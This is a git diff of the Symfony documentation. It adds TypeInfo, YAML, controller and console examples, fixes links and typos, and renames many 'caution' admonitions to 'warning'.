-the serializer context option ``ObjectNormalizer::DISABLE_TYPE_ENFORCEMENT``
-to ``true``.
-
-.. _serializer_interfaces-and-abstract-classes:
-
-Serializing Interfaces and Abstract Classes
--------------------------------------------
-
-When dealing with objects that are fairly similar or share properties, you may
-use interfaces or abstract classes. The Serializer component allows you to
-serialize and deserialize these objects using a *"discriminator class mapping"*.
-
-The discriminator is the field (in the serialized string) used to differentiate
-between the possible objects. In practice, when using the Serializer component,
-pass a :class:`Symfony\\Component\\Serializer\\Mapping\\ClassDiscriminatorResolverInterface`
-implementation to the :class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer`.
-
-The Serializer component provides an implementation of ``ClassDiscriminatorResolverInterface``
-called :class:`Symfony\\Component\\Serializer\\Mapping\\ClassDiscriminatorFromClassMetadata`
-which uses the class metadata factory and a mapping configuration to serialize
-and deserialize objects of the correct class.
-
-When using this component inside a Symfony application and the class metadata factory is enabled
-as explained in the :ref:`Attributes Groups section <component-serializer-attributes-groups>`,
-this is already set up and you only need to provide the configuration. Otherwise::
-
-    // ...
-    use Symfony\Component\Serializer\Encoder\JsonEncoder;
-    use Symfony\Component\Serializer\Mapping\ClassDiscriminatorFromClassMetadata;
-    use Symfony\Component\Serializer\Mapping\ClassDiscriminatorMapping;
-    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
-    use Symfony\Component\Serializer\Serializer;
-
-    $classMetadataFactory = new ClassMetadataFactory(new AttributeLoader());
-
-    $discriminator = new ClassDiscriminatorFromClassMetadata($classMetadataFactory);
-
-    $serializer = new Serializer(
-        [new ObjectNormalizer($classMetadataFactory, null, null, null, $discriminator)],
-        ['json' => new JsonEncoder()]
-    );
-
-Now configure your discriminator class mapping. Consider an application that
-defines an abstract ``CodeRepository`` class extended by ``GitHubCodeRepository``
-and ``BitBucketCodeRepository`` classes:
-
-.. configuration-block::
-
-    .. code-block:: php-attributes
-
-        namespace App;
-
-        use App\BitBucketCodeRepository;
-        use App\GitHubCodeRepository;
-        use Symfony\Component\Serializer\Annotation\DiscriminatorMap;
-
-        #[DiscriminatorMap(typeProperty: 'type', mapping: [
-            'github' => GitHubCodeRepository::class,
-            'bitbucket' => BitBucketCodeRepository::class,
-        ])]
-        abstract class CodeRepository
-        {
-            // ...
-        }
-
-    .. code-block:: yaml
-
-        App\CodeRepository:
-            discriminator_map:
-                type_property: type
-                mapping:
-                    github: 'App\GitHubCodeRepository'
-                    bitbucket: 'App\BitBucketCodeRepository'
-
-    .. code-block:: xml
-
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
-                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
-        >
-            <class name="App\CodeRepository">
-                <discriminator-map type-property="type">
-                    <mapping type="github" class="App\GitHubCodeRepository"/>
-                    <mapping type="bitbucket" class="App\BitBucketCodeRepository"/>
-                </discriminator-map>
-            </class>
-        </serializer>
-
-.. note::
-
-    The values of the ``mapping`` array option must be strings.
-    Otherwise, they will be cast into strings automatically.
-
-Once configured, the serializer uses the mapping to pick the correct class::
-
-    $serialized = $serializer->serialize(new GitHubCodeRepository(), 'json');
-    // {"type": "github"}
-
-    $repository = $serializer->deserialize($serialized, CodeRepository::class, 'json');
-    // instanceof GitHubCodeRepository
-
-Learn more
-----------
-
-.. toctree::
-    :maxdepth: 1
-    :glob:
-
-    /serializer
-
-.. seealso::
-
-    Normalizers for the Symfony Serializer Component supporting popular web API formats
-    (JSON-LD, GraphQL, OpenAPI, HAL, JSON:API) are available as part of the `API Platform`_ project.
-
-.. seealso::
-
-    A popular alternative to the Symfony Serializer component is the third-party
-    library, `JMS serializer`_ (versions before ``v1.12.0`` were released under
-    the Apache license, so incompatible with GPLv2 projects).
-
-.. _`PSR-1 standard`: https://www.php-fig.org/psr/psr-1/
-.. _`JMS serializer`: https://github.com/schmittjoh/serializer
-.. _RFC3339: https://tools.ietf.org/html/rfc3339#section-5.8
-.. _`options with libxml`: https://www.php.net/manual/en/libxml.constants.php
-.. _`DOM XML_* constants`: https://www.php.net/manual/en/dom.constants.php
-.. _JSON: https://www.json.org/json-en.html
-.. _XML: https://www.w3.org/XML/
-.. _YAML: https://yaml.org/
-.. _CSV: https://tools.ietf.org/html/rfc4180
-.. _`RFC 7807`: https://tools.ietf.org/html/rfc7807
-.. _`UTF-8 BOM`: https://en.wikipedia.org/wiki/Byte_order_mark
-.. _`Value Objects`: https://en.wikipedia.org/wiki/Value_object
-.. _`API Platform`: https://api-platform.com
-.. _`list of PHP timezones`: https://www.php.net/manual/en/timezones.php
-.. _`RFC 4122`: https://tools.ietf.org/html/rfc4122
-.. _`PHP reflection`: https://php.net/manual/en/book.reflection.php
-.. _`data URI`: https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs
-.. _seld/jsonlint: https://github.com/Seldaek/jsonlint
-.. _$flags: https://www.php.net/manual/en/json.constants.php
-.. _`a CDATA section`: https://en.wikipedia.org/wiki/CDATA
diff --git a/components/type_info.rst b/components/type_info.rst
index 30ae11aa222..47fe9dfd9ba 100644
--- a/components/type_info.rst
+++ b/components/type_info.rst
@@ -11,11 +11,6 @@ This component provides:
 * A way to get types from PHP elements such as properties, method arguments,
   return types, and raw strings.
 
-.. caution::
-
-    This component is :doc:`experimental </contributing/code/experimental>` and
-    could be changed at any time without prior notice.
-
 Installation
 ------------
 
@@ -45,12 +40,24 @@ to the :class:`Symfony\\Component\\TypeInfo\\Type` static methods as following::
     // Many others are available and can be
     // found in Symfony\Component\TypeInfo\TypeFactoryTrait
 
-The second way of using the component is to use ``TypeInfo`` to resolve a type
-based on reflection or a simple string::
+Resolvers
+~~~~~~~~~
+
+The second way to use the component is by using ``TypeInfo`` to resolve a type
+based on reflection or a simple string. This approach is designed for libraries
+that need a simple way to describe a class or anything with a type::
 
     use Symfony\Component\TypeInfo\Type;
     use Symfony\Component\TypeInfo\TypeResolver\TypeResolver;
 
+    class Dummy
+    {
+        public function __construct(
+            public int $id,
+        ) {
+        }
+    }
+
     // Instantiate a new resolver
     $typeResolver = TypeResolver::create();
 
@@ -63,12 +70,6 @@ based on reflection or a simple string::
 
     // Type instances have several helper methods
 
-    // returns the main type (e.g. in this example it returns an "array" Type instance);
-    // for nullable types (e.g. string|null) it returns the non-null type (e.g. string)
-    // and for compound types (e.g. int|string) it throws an exception because both types
-    // can be considered the main one, so there's no way to pick one
-    $baseType = $type->getBaseType();
-
     // for collections, it returns the type of the item used as the key;
     // in this example, the collection is a list, so it returns an "int" Type instance
     $keyType = $type->getCollectionKeyType();
@@ -81,6 +82,111 @@ Each of these calls will return you a ``Type`` instance that corresponds to the
 static method used. You can also resolve types from a string (as shown in the
 ``bool`` parameter of the previous example)
 
-.. note::
+PHPDoc Parsing
+~~~~~~~~~~~~~~
+
+In many cases, you may not have cleanly typed properties or may need more precise
+type definitions provided by advanced PHPDoc. To achieve this, you can use a string
+resolver based on the PHPDoc annotations.
+
+First, run the command ``composer require phpstan/phpdoc-parser`` to install the
+PHP package required for string resolving. Then, follow these steps::
+
+    use Symfony\Component\TypeInfo\TypeResolver\TypeResolver;
+
+    class Dummy
+    {
+        public function __construct(
+            public int $id,
+            /** @var string[] $tags */
+            public array $tags,
+        ) {
+        }
+    }
+
+    $typeResolver = TypeResolver::create();
+    $typeResolver->resolve(new \ReflectionProperty(Dummy::class, 'id')); // returns an "int" Type
+    $typeResolver->resolve(new \ReflectionProperty(Dummy::class, 'id')); // returns a collection with "int" as key and "string" as values Type
+
+Advanced Usages
+~~~~~~~~~~~~~~~
+
+The TypeInfo component provides various methods to manipulate and check types,
+depending on your needs.
+
+**Identify** a type::
+
+    // define a simple integer type
+    $type = Type::int();
+    // check if the type matches a specific identifier
+    $type->isIdentifiedBy(TypeIdentifier::INT);    // true
+    $type->isIdentifiedBy(TypeIdentifier::STRING); // false
+
+    // define a union type (equivalent to PHP's int|string)
+    $type = Type::union(Type::string(), Type::int());
+    // now the second check is true because the union type contains the string type
+    $type->isIdentifiedBy(TypeIdentifier::INT);    // true
+    $type->isIdentifiedBy(TypeIdentifier::STRING); // true
+
+    class DummyParent {}
+    class Dummy extends DummyParent implements DummyInterface {}
+
+    // define an object type
+    $type = Type::object(Dummy::class);
+
+    // check if the type is an object or matches a specific class
+    $type->isIdentifiedBy(TypeIdentifier::OBJECT); // true
+    $type->isIdentifiedBy(Dummy::class);           // true
+    // check if it inherits/implements something
+    $type->isIdentifiedBy(DummyParent::class);     // true
+    $type->isIdentifiedBy(DummyInterface::class);  // true
+
+Checking if a type **accepts a value**::
+
+    $type = Type::int();
+    // check if the type accepts a given value
+    $type->accepts(123); // true
+    $type->accepts('z'); // false
+
+    $type = Type::union(Type::string(), Type::int());
+    // now the second check is true because the union type accepts either an int or a string value
+    $type->accepts(123); // true
+    $type->accepts('z'); // true
+
+.. versionadded:: 7.3
+
+    The :method:`Symfony\\Component\\TypeInfo\\Type::accepts`
+    method was introduced in Symfony 7.3.
+
+Using callables for **complex checks**::
+
+    class Foo
+    {
+        private int $integer;
+        private string $string;
+        private ?float $float;
+    }
+
+    $reflClass = new \ReflectionClass(Foo::class);
+
+    $resolver = TypeResolver::create();
+    $integerType = $resolver->resolve($reflClass->getProperty('integer'));
+    $stringType = $resolver->resolve($reflClass->getProperty('string'));
+    $floatType = $resolver->resolve($reflClass->getProperty('float'));
+
+    // define a callable to validate non-nullable number types
+    $isNonNullableNumber = function (Type $type): bool {
+        if ($type->isNullable()) {
+            return false;
+        }
+
+        if ($type->isIdentifiedBy(TypeIdentifier::INT) || $type->isIdentifiedBy(TypeIdentifier::FLOAT)) {
+            return true;
+        }
+
+        return false;
+    };
 
-    To support raw string resolving, you need to install ``phpstan/phpdoc-parser`` package.
+    $integerType->isSatisfiedBy($isNonNullableNumber); // true
+    $stringType->isSatisfiedBy($isNonNullableNumber);  // false
+    $floatType->isSatisfiedBy($isNonNullableNumber);   // false
diff --git a/components/uid.rst b/components/uid.rst
index 73974ef8732..6c92fff0af9 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -386,7 +386,7 @@ entity primary keys::
         // ...
     }
 
-.. caution::
+.. warning::
 
     Using UUIDs as primary keys is usually not recommended for performance reasons:
     indexes are slower and take more space (because UUIDs in binary format take
@@ -574,7 +574,7 @@ entity primary keys::
         // ...
     }
 
-.. caution::
+.. warning::
 
     Using ULIDs as primary keys is usually not recommended for performance reasons.
     Although ULIDs don't suffer from index fragmentation issues (because the values
diff --git a/components/validator/resources.rst b/components/validator/resources.rst
index c1474c1710d..5b1448dfba1 100644
--- a/components/validator/resources.rst
+++ b/components/validator/resources.rst
@@ -171,7 +171,7 @@ You can set this custom implementation using
         ->setMetadataFactory(new CustomMetadataFactory(...))
         ->getValidator();
 
-.. caution::
+.. warning::
 
     Since you are using a custom metadata factory, you can't configure loaders
     and caches using the ``add*Mapping()`` methods anymore. You now have to
diff --git a/components/yaml.rst b/components/yaml.rst
index 30f715a7a24..58436adffc2 100644
--- a/components/yaml.rst
+++ b/components/yaml.rst
@@ -428,6 +428,16 @@ you can dump them as ``~`` with the ``DUMP_NULL_AS_TILDE`` flag::
     $dumped = Yaml::dump(['foo' => null], 2, 4, Yaml::DUMP_NULL_AS_TILDE);
     // foo: ~
 
+Another valid representation of the ``null`` value is an empty string. You can
+use the ``DUMP_NULL_AS_EMPTY`` flag to dump null values as empty strings::
+
+    $dumped = Yaml::dump(['foo' => null], 2, 4, Yaml::DUMP_NULL_AS_EMPTY);
+    // foo:
+
+.. versionadded:: 7.3
+
+    The ``DUMP_NULL_AS_EMPTY`` flag was introduced in Symfony 7.3.
+
 Dumping Numeric Keys as Strings
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/configuration.rst b/configuration.rst
index 51ad9368098..35bc2fb7eec 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -267,7 +267,7 @@ reusable configuration value. By convention, parameters are defined under the
 
         // ...
 
-.. caution::
+.. warning::
 
     By default and when using XML configuration, the values between ``<parameter>``
     tags are not trimmed. This means that the value of the following parameter will be
@@ -379,7 +379,7 @@ a new ``locale`` parameter is added to the ``config/services.yaml`` file).
 
     By convention, parameters whose names start with a dot ``.`` (for example,
     ``.mailer.transport``), are available only during the container compilation.
-    They are useful when working with :ref:`Compiler Passes </service_container/compiler_passes>`
+    They are useful when working with :doc:`Compiler Passes </service_container/compiler_passes>`
     to declare some temporary parameters that won't be available later in the application.
 
 Configuration parameters are usually validation-free, but you can ensure that
@@ -809,7 +809,7 @@ Use environment variables in values by prefixing variables with ``$``:
     DB_USER=root
     DB_PASS=${DB_USER}pass # include the user as a password prefix
 
-.. caution::
+.. warning::
 
     The order is important when some env var depends on the value of other env
     vars. In the above example, ``DB_PASS`` must be defined after ``DB_USER``.
@@ -830,7 +830,7 @@ Embed commands via ``$()`` (not supported on Windows):
 
     START_TIME=$(date)
 
-.. caution::
+.. warning::
 
     Using ``$()`` might not work depending on your shell.
 
diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index baf4037d05a..2e82104db66 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -687,7 +687,7 @@ Symfony provides the following env var processors:
                 ],
             ]);
 
-    .. caution::
+    .. warning::
 
         In order to ease extraction of the resource from the URL, the leading
         ``/`` is trimmed from the ``path`` component.
diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index c9739679f69..62e8c2d4128 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -16,7 +16,7 @@ via Composer:
 
 .. code-block:: terminal
 
-    $ composer symfony/framework-bundle symfony/runtime
+    $ composer require symfony/framework-bundle symfony/runtime
 
 Next, create an ``index.php`` file that defines the kernel class and runs it:
 
diff --git a/configuration/multiple_kernels.rst b/configuration/multiple_kernels.rst
index 512ea57f24d..ec8742213b5 100644
--- a/configuration/multiple_kernels.rst
+++ b/configuration/multiple_kernels.rst
@@ -229,7 +229,7 @@ but it should typically be added to your web server configuration.
     # .env
     APP_ID=api
 
-.. caution::
+.. warning::
 
     The value of this variable must match the application directory within
     ``apps/`` as it is used in the Kernel to load the specific application
diff --git a/configuration/override_dir_structure.rst b/configuration/override_dir_structure.rst
index d17b67aedba..e5dff35b6d0 100644
--- a/configuration/override_dir_structure.rst
+++ b/configuration/override_dir_structure.rst
@@ -111,7 +111,7 @@ In this case you have changed the location of the cache directory to
 You can also change the cache directory by defining an environment variable
 named ``APP_CACHE_DIR`` whose value is the full path of the cache folder.
 
-.. caution::
+.. warning::
 
     You should keep the cache directory different for each environment,
     otherwise some unexpected behavior may happen. Each environment generates
diff --git a/console.rst b/console.rst
index 57f322c983d..6a3ba70300f 100644
--- a/console.rst
+++ b/console.rst
@@ -366,7 +366,7 @@ Output sections let you manipulate the Console output in advanced ways, such as
 are updated independently and :ref:`appending rows to tables <console-modify-rendered-tables>`
 that have already been rendered.
 
-.. caution::
+.. warning::
 
     Terminals only allow overwriting the visible content, so you must take into
     account the console height when trying to write/overwrite section contents.
@@ -531,13 +531,13 @@ call ``setAutoExit(false)`` on it to get the command result in ``CommandTester``
     You can also test a whole console application by using
     :class:`Symfony\\Component\\Console\\Tester\\ApplicationTester`.
 
-.. caution::
+.. warning::
 
     When testing commands using the ``CommandTester`` class, console events are
     not dispatched. If you need to test those events, use the
     :class:`Symfony\\Component\\Console\\Tester\\ApplicationTester` instead.
 
-.. caution::
+.. warning::
 
     When testing commands using the :class:`Symfony\\Component\\Console\\Tester\\ApplicationTester`
     class, don't forget to disable the auto exit flag::
@@ -547,7 +547,7 @@ call ``setAutoExit(false)`` on it to get the command result in ``CommandTester``
 
         $tester = new ApplicationTester($application);
 
-.. caution::
+.. warning::
 
     When testing ``InputOption::VALUE_NONE`` command options, you must pass ``true``
     to them::
@@ -619,7 +619,7 @@ profile is accessible through the web page of the profiler.
     terminal supports links). If you run it in debug verbosity (``-vvv``) you'll
     also see the time and memory consumed by the command.
 
-.. caution::
+.. warning::
 
     When profiling the ``messenger:consume`` command from the :doc:`Messenger </messenger>`
     component, add the ``--no-reset`` option to the command or you won't get any
diff --git a/console/calling_commands.rst b/console/calling_commands.rst
index c5bfc6e5a72..349f1357682 100644
--- a/console/calling_commands.rst
+++ b/console/calling_commands.rst
@@ -36,6 +36,9 @@ method)::
                 '--yell'  => true,
             ]);
 
+            // disable interactive behavior for the greet command
+            $greetInput->setInteractive(false);
+
             $returnCode = $this->getApplication()->doRun($greetInput, $output);
 
             // ...
@@ -57,7 +60,7 @@ method)::
     ``$this->getApplication()->find('demo:greet')->run()`` will allow proper
     events to be dispatched for that inner command as well.
 
-.. caution::
+.. warning::
 
     Note that all the commands will run in the same process and some of Symfony's
     built-in commands may not work well this way. For instance, the ``cache:clear``
diff --git a/console/command_in_controller.rst b/console/command_in_controller.rst
index 64475bff103..74af9e17c15 100644
--- a/console/command_in_controller.rst
+++ b/console/command_in_controller.rst
@@ -11,7 +11,7 @@ service that can be reused in the controller. However, when the command is part
 of a third-party library, you don't want to modify or duplicate their code.
 Instead, you can run the command directly from the controller.
 
-.. caution::
+.. warning::
 
     In comparison with a direct call from the console, calling a command from
     a controller has a slight performance impact because of the request stack
diff --git a/console/commands_as_services.rst b/console/commands_as_services.rst
index 75aa13d5be8..1393879a1df 100644
--- a/console/commands_as_services.rst
+++ b/console/commands_as_services.rst
@@ -51,7 +51,7 @@ argument (thanks to autowiring). In other words, you only need to create this
 class and everything works automatically! You can call the ``app:sunshine``
 command and start logging.
 
-.. caution::
+.. warning::
 
     You *do* have access to services in ``configure()``. However, if your command is
     not :ref:`lazy <console-command-service-lazy-loading>`, try to avoid doing any
@@ -130,7 +130,7 @@ only when the ``app:sunshine`` command is actually called.
 
     You don't need to call ``setName()`` for configuring the command when it is lazy.
 
-.. caution::
+.. warning::
 
     Calling the ``list`` command will instantiate all commands, including lazy commands.
     However, if the command is a ``Symfony\Component\Console\Command\LazyCommand``, then
diff --git a/console/input.rst b/console/input.rst
index c038ace56fc..baf47c6fd15 100644
--- a/console/input.rst
+++ b/console/input.rst
@@ -197,7 +197,7 @@ values after a whitespace or an ``=`` sign (e.g. ``--iterations 5`` or
 ``--iterations=5``), but short options can only use whitespaces or no
 separation at all (e.g. ``-i 5`` or ``-i5``).
 
-.. caution::
+.. warning::
 
     While it is possible to separate an option from its value with a whitespace,
     using this form leads to an ambiguity should the option appear before the
diff --git a/contributing/code/bc.rst b/contributing/code/bc.rst
index cff99a1554f..497c70fb01d 100644
--- a/contributing/code/bc.rst
+++ b/contributing/code/bc.rst
@@ -30,7 +30,7 @@ The second section, "Working on Symfony Code", is targeted at Symfony
 contributors. This section lists detailed rules that every contributor needs to
 follow to ensure smooth upgrades for our users.
 
-.. caution::
+.. warning::
 
     :doc:`Experimental Features </contributing/code/experimental>` and code
     marked with the ``@internal`` tags are excluded from our Backward
@@ -53,7 +53,7 @@ All interfaces shipped with Symfony can be used in type hints. You can also call
 any of the methods that they declare. We guarantee that we won't break code that
 sticks to these rules.
 
-.. caution::
+.. warning::
 
     The exception to this rule are interfaces tagged with ``@internal``. Such
     interfaces should not be used or implemented.
@@ -89,7 +89,7 @@ Using our Classes
 All classes provided by Symfony may be instantiated and accessed through their
 public methods and properties.
 
-.. caution::
+.. warning::
 
     Classes, properties and methods that bear the tag ``@internal`` as well as
     the classes located in the various ``*\Tests\`` namespaces are an
@@ -146,7 +146,7 @@ Using our Traits
 
 All traits provided by Symfony may be used in your classes.
 
-.. caution::
+.. warning::
 
     The exception to this rule are traits tagged with ``@internal``. Such
     traits should not be used.
diff --git a/contributing/code/bugs.rst b/contributing/code/bugs.rst
index fba68617ee3..b0a46766026 100644
--- a/contributing/code/bugs.rst
+++ b/contributing/code/bugs.rst
@@ -4,7 +4,7 @@ Reporting a Bug
 Whenever you find a bug in Symfony, we kindly ask you to report it. It helps
 us make a better Symfony.
 
-.. caution::
+.. warning::
 
     If you think you've found a security issue, please use the special
     :doc:`procedure <security>` instead.
diff --git a/contributing/code/maintenance.rst b/contributing/code/maintenance.rst
index 04740ce8c6e..27e4fd73ea0 100644
--- a/contributing/code/maintenance.rst
+++ b/contributing/code/maintenance.rst
@@ -67,6 +67,9 @@ issue):
 * **Adding new deprecations**: After a version reaches stability, new
   deprecations cannot be added anymore.
 
+* **Adding or updating annotations**: Adding or updating annotations (PHPDoc
+  annotations for instance) is not allowed; fixing them might be accepted.
+
 Anything not explicitly listed above should be done on the next minor or major
 version instead. For instance, the following changes are never accepted in a
 patch version:
diff --git a/contributing/documentation/format.rst b/contributing/documentation/format.rst
index d933f3bcead..e81abe92b79 100644
--- a/contributing/documentation/format.rst
+++ b/contributing/documentation/format.rst
@@ -16,7 +16,7 @@ source code.
 If you want to learn more about this format, check out the `reStructuredText Primer`_
 tutorial and the `reStructuredText Reference`_.
 
-.. caution::
+.. warning::
 
     If you are familiar with Markdown, be careful as things are sometimes very
     similar but different:
diff --git a/contributing/documentation/standards.rst b/contributing/documentation/standards.rst
index 420780d25f5..5e195d008fd 100644
--- a/contributing/documentation/standards.rst
+++ b/contributing/documentation/standards.rst
@@ -122,7 +122,7 @@ Example
         }
     }
 
-.. caution::
+.. warning::
 
     In YAML you should put a space after ``{`` and before ``}`` (e.g. ``{ _controller: ... }``),
     but this should not be done in Twig (e.g.  ``{'hello' : 'value'}``).
diff --git a/controller.rst b/controller.rst
index 4fd03948ae2..026e76ed0a6 100644
--- a/controller.rst
+++ b/controller.rst
@@ -443,6 +443,26 @@ HTTP status to return if the validation fails::
 
 The default status code returned if the validation fails is 404.
 
+If you want to map your object to a nested array in your query using a specific key,
+set the ``key`` option in the ``#[MapQueryString]`` attribute::
+
+    use App\Model\SearchDto;
+    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\HttpKernel\Attribute\MapQueryString;
+
+    // ...
+
+    public function dashboard(
+        #[MapQueryString(key: 'search')] SearchDto $searchDto
+    ): Response
+    {
+        // ...
+    }
+
+.. versionadded:: 7.3
+
+    The ``key`` option of ``#[MapQueryString]`` was introduced in Symfony 7.3.
+
 If you need a valid DTO even when the request query string is empty, set a
 default value for your controller arguments::
 
@@ -788,6 +808,14 @@ response types.  Some of these are mentioned below. To learn more about the
 ``Request`` and ``Response`` (and different ``Response`` classes), see the
 :ref:`HttpFoundation component documentation <component-http-foundation-request>`.
 
+.. note::
+
+    Technically, a controller can return a value other than a ``Response``.
+    However, your application is responsible for transforming that value into a
+    ``Response`` object. This is handled using :doc:`events </event_dispatcher>`
+    (specifically the :ref:`kernel.view event <component-http-kernel-kernel-view>`),
+    an advanced feature you'll learn about later.
+
 Accessing Configuration Values
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -890,7 +918,7 @@ method::
         {
             $response = $this->sendEarlyHints([
                 new Link(rel: 'preconnect', href: 'https://fonts.google.com'),
-                (new Link(href: '/style.css'))->withAttribute('as', 'stylesheet'),
+                (new Link(href: '/style.css'))->withAttribute('as', 'style'),
                 (new Link(href: '/script.js'))->withAttribute('as', 'script'),
             ]);
 
@@ -946,6 +974,6 @@ Learn more about Controllers
 .. _`Early hints`: https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/103
 .. _`SAPI`: https://www.php.net/manual/en/function.php-sapi-name.php
 .. _`FrankenPHP`: https://frankenphp.dev
-.. _`Validate Filters`: https://www.php.net/manual/en/filter.filters.validate.php
+.. _`Validate Filters`: https://www.php.net/manual/en/filter.constants.php
 .. _`phpstan/phpdoc-parser`: https://packagist.org/packages/phpstan/phpdoc-parser
 .. _`phpdocumentor/type-resolver`: https://packagist.org/packages/phpdocumentor/type-resolver
diff --git a/controller/error_pages.rst b/controller/error_pages.rst
index 001e637c03e..fc36b88779a 100644
--- a/controller/error_pages.rst
+++ b/controller/error_pages.rst
@@ -319,7 +319,7 @@ error pages.
 
 .. note::
 
-    If your listener calls ``setThrowable()`` on the
+    If your listener calls ``setResponse()`` on the
     :class:`Symfony\\Component\\HttpKernel\\Event\\ExceptionEvent`
     event, propagation will be stopped and the response will be sent to
     the client.
diff --git a/deployment.rst b/deployment.rst
index 3edbc34dd6b..864ebc7a963 100644
--- a/deployment.rst
+++ b/deployment.rst
@@ -184,7 +184,7 @@ as you normally do:
     significantly by building a "class map". The ``--no-dev`` flag ensures that
     development packages are not installed in the production environment.
 
-.. caution::
+.. warning::
 
     If you get a "class not found" error during this step, you may need to
     run ``export APP_ENV=prod`` (or ``export SYMFONY_ENV=prod`` if you're not
diff --git a/deployment/proxies.rst b/deployment/proxies.rst
index cd5649d979a..4dad6f95fb1 100644
--- a/deployment/proxies.rst
+++ b/deployment/proxies.rst
@@ -102,7 +102,7 @@ using the following configuration options:
     Support for the ``SYMFONY_TRUSTED_PROXIES`` and ``SYMFONY_TRUSTED_HEADERS``
     environment variables was introduced in Symfony 7.2.
 
-.. caution::
+.. danger::
 
     Enabling the ``Request::HEADER_X_FORWARDED_HOST`` option exposes the
     application to `HTTP Host header attacks`_. Make sure the proxy really
diff --git a/doctrine.rst b/doctrine.rst
index dc42a5b9e73..171f8a3348a 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -58,7 +58,7 @@ The database connection information is stored as an environment variable called
     # to use oracle:
     # DATABASE_URL="oci8://db_user:db_password@127.0.0.1:1521/db_name"
 
-.. caution::
+.. warning::
 
     If the username, password, host or database name contain any character considered
     special in a URI (such as ``: / ? # [ ] @ ! $ & ' ( ) * + , ; =``),
@@ -174,7 +174,7 @@ Whoa! You now have a new ``src/Entity/Product.php`` file::
     Confused why the price is an integer? Don't worry: this is just an example.
     But, storing prices as integers (e.g. 100 = $1 USD) can avoid rounding issues.
 
-.. caution::
+.. warning::
 
     There is a `limit of 767 bytes for the index key prefix`_ when using
     InnoDB tables in MySQL 5.6 and earlier versions. String columns with 255
@@ -204,7 +204,7 @@ If you want to use XML instead of attributes, add ``type: xml`` and
 ``dir: '%kernel.project_dir%/config/doctrine'`` to the entity mappings in your
 ``config/packages/doctrine.yaml`` file.
 
-.. caution::
+.. warning::
 
     Be careful not to use reserved SQL keywords as your table or column names
     (e.g. ``GROUP`` or ``USER``). See Doctrine's `Reserved SQL keywords documentation`_
@@ -320,7 +320,7 @@ before, execute your migrations:
 
     $ php bin/console doctrine:migrations:migrate
 
-.. caution::
+.. warning::
 
     If you are using an SQLite database, you'll see the following error:
     *PDOException: SQLSTATE[HY000]: General error: 1 Cannot add a NOT NULL
diff --git a/doctrine/custom_dql_functions.rst b/doctrine/custom_dql_functions.rst
index 1b3aa4aa185..e5b21819f58 100644
--- a/doctrine/custom_dql_functions.rst
+++ b/doctrine/custom_dql_functions.rst
@@ -132,7 +132,7 @@ In Symfony, you can register your custom DQL functions as follows:
                             ->datetimeFunction('test_datetime', DatetimeFunction::class);
             };
 
-.. caution::
+.. warning::
 
     DQL functions are instantiated by Doctrine outside of the Symfony
     :doc:`service container </service_container>` so you can't inject services
diff --git a/doctrine/multiple_entity_managers.rst b/doctrine/multiple_entity_managers.rst
index 014d9e4dccb..1a56c55ddad 100644
--- a/doctrine/multiple_entity_managers.rst
+++ b/doctrine/multiple_entity_managers.rst
@@ -15,7 +15,7 @@ entities, each with their own database connection strings or separate cache conf
     advanced and not usually required. Be sure you actually need multiple
     entity managers before adding in this layer of complexity.
 
-.. caution::
+.. warning::
 
     Entities cannot define associations across different entity managers. If you
     need that, there are `several alternatives`_ that require some custom setup.
@@ -142,7 +142,7 @@ and ``customer``. The ``default`` entity manager manages entities in the
 entities in ``src/Entity/Customer``. You've also defined two connections, one
 for each entity manager, but you are free to define the same connection for both.
 
-.. caution::
+.. warning::
 
     When working with multiple connections and entity managers, you should be
     explicit about which configuration you want. If you *do* omit the name of
@@ -251,7 +251,7 @@ The same applies to repository calls::
         }
     }
 
-.. caution::
+.. warning::
 
     One entity can be managed by more than one entity manager. This however
     results in unexpected behavior when extending from ``ServiceEntityRepository``
diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index 6787cba2d83..27885af267b 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -41,6 +41,9 @@ The most common way to listen to an event is to register an **event listener**::
             // Customize your response object to display the exception details
             $response = new Response();
             $response->setContent($message);
+            // the exception message can contain unfiltered user input;
+            // set the content-type to text to avoid XSS issues
+            $response->headers->set('Content-Type', 'text/plain; charset=utf-8');
 
             // HttpExceptionInterface is a special type of exception that
             // holds status code and header details
@@ -798,3 +801,11 @@ could listen to the ``mailer.post_send`` event and change the method's return va
 
 That's it! Your subscriber should be called automatically (or read more about
 :ref:`event subscriber configuration <ref-event-subscriber-configuration>`).
+
+Learn More
+----------
+
+- :ref:`The Request-Response Lifecycle <the-workflow-of-a-request>`
+- :doc:`/reference/events`
+- :ref:`Security-related Events <security-security-events>`
+- :doc:`/components/event_dispatcher`
diff --git a/form/bootstrap5.rst b/form/bootstrap5.rst
index 400747bba12..db098a1ba09 100644
--- a/form/bootstrap5.rst
+++ b/form/bootstrap5.rst
@@ -171,7 +171,7 @@ class to the label:
         ],
         // ...
 
-.. caution::
+.. warning::
 
     Switches only work with **checkbox**.
 
@@ -201,7 +201,7 @@ class to the ``row_attr`` option.
             }
         }) }}
 
-.. caution::
+.. warning::
 
     If you fill the ``help`` option of your form, it will also be rendered
     as part of the group.
@@ -239,7 +239,7 @@ of your form type.
             }
         }) }}
 
-.. caution::
+.. warning::
 
     You **must** provide a ``label`` and a ``placeholder`` to make floating
     labels work properly.
